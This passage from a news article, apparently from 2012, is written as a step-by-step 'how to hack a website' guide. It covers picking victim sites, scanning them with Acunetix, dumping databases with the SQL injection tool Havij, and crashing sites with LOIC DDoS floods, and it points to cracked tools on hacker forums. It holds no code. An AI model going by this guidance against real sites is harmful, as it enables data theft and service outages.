master.passwd</a></i>. This returns the results shown in the screengrab above.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
So now you have a list of potential victims. Next you need to narrow this down even further.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Step 2: Check for vulnerabilities</b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br /></b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Having a huge number of sites which may or may not be vulnerable is not much use unless you can pinpoint one which is actually open to attack. This is when a programme called a vulnerability scanner comes into its own and the most popular is called <a href="http://www.acunetix.com/" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">Acunetix</a>.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Acunetix, developed by a UK-based company, was designed, and is still used, as a tool for web developers to test sites they are building. However the hacking community has commandeered the tool and uses it to identify existing vulnerable sites.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
You can download a trial version of the software for free from the official Acunetix website or if you venture into the murky depths of a hacker forum and search for Acunetix, you can find cracked versions of the full application freely available.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<img alt="" class="imgBox" height="298" id="267594" src="http://img.ibtimes.com/www/data/images/full/2012/04/26/267594.jpg" style="border-bottom-color: rgb(194, 194, 194); border-bottom-style: solid; border-color: initial; border-image: initial; border-left-color: rgb(194, 194, 194); border-left-style: solid; border-right-color: rgb(194, 194, 194); border-right-style: solid; border-top-color: rgb(194, 194, 194); border-top-style: solid; border-width: initial; clear: both; display: block; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 15px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 2px; padding-left: 2px; padding-right: 2px; padding-top: 2px; text-align: justify; vertical-align: middle;" title="How to Hack a Website" width="400" /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Acunetix, as you can see from the screen shots above, is a simple, straight-forward Windows application and all you need to do is enter the URL of the site you want to target, and press Process. Acunetix will scan the entire website, including all pages associated with it, and return a list of vulnerabilities it finds. If you find the type you are looking for, you will need to move onto Step 3, as Acunetix does not perform any website penetration.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Step 3: Attack the website</b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br /></b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Attacking a website is done by two main methods. The first is by carrying out a Distributed Denial of Service (DDoS) attack which overwhelms a website's servers and forces it to shut down. We will deal with this type of attack later, but first we will look at how you can hack into an account and steal some information contained within databases on the site.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
This type of attack is known as a SQL (pronounced sequel) Injection. A <a href="http://en.wikipedia.org/wiki/SQL_injection" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">SQL Injection</a> attack aims to capture information stored in a database on the particular website by introducing some SQL code. SQL is a programming language designed for managing data in a database.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
But fear not, you won't need to understand a single line of SQL to carry out this attack. Thankfully another freely-available and easy-to-use application, originally developed in Iran, can be downloaded from the web saving you the trouble of dealing with any complex code.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<img alt="" class="imgBox magnify" height="400" id="267595" src="http://img.ibtimes.com/www/data/images/full/2012/04/26/267595.jpg" style="border-bottom-color: rgb(194, 194, 194); border-bottom-style: solid; border-color: initial; border-image: initial; border-left-color: rgb(194, 194, 194); border-left-style: solid; border-right-color: rgb(194, 194, 194); border-right-style: solid; border-top-color: rgb(194, 194, 194); border-top-style: solid; border-width: initial; clear: both; display: block; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 15px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 2px; padding-left: 2px; padding-right: 2px; padding-top: 2px; text-align: justify; vertical-align: middle;" title="How to Hack a Website" width="363" /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
The program is called <a href="http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/index.html">Havij</a>, the Farsi word for carrot, which is also a slang word for penis and so, unsurprisingly, this is the piece of software required to penetrate a website.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Again there are free and paid-for versions of Havij available with the paid-for version having more powerful capabilities. Again the world of hacker forums is your friend here and cracked versions of the full Havij application are available if you look for them.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
The Havij interface is once again like any other Windows program and all a virgin hacker needs to do is simply copy-and-paste the address of their target website and press a button.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Havij allows you to perform a number of different types of operation including one called a Get, which unsurprisingly gets all the information stored on databases on that particular site which can be usernames, passwords, addresses, email addresses, phone numbers and bank details.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
And that's it, within minutes you can search for, download and use a couple of automated tools which will allow you to access websites which are vulnerable to this type of attack. While most high profile companies' websites will be protected from this type of attack, the fact that Sony's website and the personal information of its customers was stolen in a manner similar to this, shows just how vulnerable the web is.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Step 4: If all else fails, DDoS</b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br /></b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Hacktivist collective Anonymous changed their tactics in the last 12 months moving away from DDoS as their primary tool for attacking websites, preferring if possible to use SQL Injection instead. However, when this is not possible, they will revert to DDoS attacks, and you can to, with the help of another freely available tool.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
And it turns out that DDoSing a website is no more difficult than carrying out a SQL Injection. The programme used is called Low-Orbit Ion Canon (LOIC) which was developed for web designers to stress test websites, but has been high-jacked by hackers in order to attack websites.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<img alt="" class="imgBox magnify" height="210" id="267608" src="http://img.ibtimes.com/www/data/images/full/2012/04/26/267608.jpg" style="border-bottom-color: rgb(194, 194, 194); border-bottom-style: solid; border-color: initial; border-image: initial; border-left-color: rgb(194, 194, 194); border-left-style: solid; border-right-color: rgb(194, 194, 194); border-right-style: solid; border-top-color: rgb(194, 194, 194); border-top-style: solid; border-width: initial; clear: both; display: block; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 15px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 2px; padding-left: 2px; padding-right: 2px; padding-top: 2px; text-align: justify; vertical-align: middle;" title="How to Hack a Website" width="400" /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Available as a free download from <a href="http://sourceforge.net/projects/loic/" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">Source Forge</a>, LOIC employs a very user-friendly interface and all potential hackers need to is type in the URL of the site they want to crash and LOIC will do the rest. What the application will do is send up to 200 requests per second to the site in question.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
While most bigger sites might be able to deal with this request without crashing, most websites out there will not, especially if you get together with some other hacking virgins and combine your efforts.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
